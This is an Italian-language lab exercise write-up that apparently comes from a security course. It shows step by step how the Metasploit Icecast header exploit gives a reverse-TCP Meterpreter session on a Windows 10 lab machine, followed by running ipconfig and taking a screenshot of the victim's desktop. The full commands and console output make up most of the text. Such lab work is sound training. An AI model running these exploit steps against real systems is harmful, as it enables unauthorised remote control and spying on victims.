

S7 L4 – icecast

Obiettivo: Ottenere una sessione Meterpreter sul target Windows 10 tramite l'exploit di Icecast con Metasploit. Una volta ottenuta la sessione, eseguire due operazioni specifiche:

1. Vedere l'indirizzo IP della vittima.
2. Fare uno screenshot tramite la sessione Meterpreter.

Una volta configurati gli IP e verificato con il ping che le macchine comunicano, ho avviato la sessione msfconsole sul terminale Kali.

Tramite il comando search ho cercato la parola chiave icecast

```
msf6 > search icecast
Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  exploit/windows/http/icecast_header      2004-09-28      great No     icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
```

Ho scelto l'unico exploit che mi ha dato. Una volta selezionato ho verificato tramite le show options di quale informazioni l'exploit aveva bisogno per funzionare correttamente. Ho impostato quindi ip della macchina target

```
msf6 exploit(windows/http/icecast_header) > options
Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.50.103  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes      The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread          yes      Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.50.103  yes      The listen address (an interface may be specified)
LPORT     4444            yes      The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set rhosts 192.168.50.150
rhosts => 192.168.50.150
```

Ho avviato l'exploit e il risultato è stato ottenere una sessione meterpreter

```
msf6 exploit(windows/http/icecast_header) > run
[*] Started reverse TCP handler on 192.168.50.103:4444
[*] Sending stage (176198 bytes) to 192.168.50.150
[*] Meterpreter session 1 opened (192.168.50.103:4444 → 192.168.50.150:49450) at 2024-12-22 21:11:17 +0100
meterpreter > █
```

Tramite il comando **ipconfig** ho potuto vedere la configurazione di rete e quindi l'indirizzo ip della macchina target

```
Interface 9
-----
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:ae:6c:c3
MTU        : 1500
IPv4 Address : 192.168.50.150
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::c4a:46a6:7d6b:2f48
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Tramite il comando screenshot ho scattato un'istantanea del desktop della vittima

```
meterpreter > screenshot
Screenshot saved to: /home/kali/MepGwQPA.jpeg
```

Sul terminale della kali ho verificato la presenza del jpeg

```
(kali㉿kali)-[~]
└─$ ls
Desktop      Downloads    Music        Programmazione  Templates
Documents    MepGwQPA.jpeg  Pictures     Public          Videos
```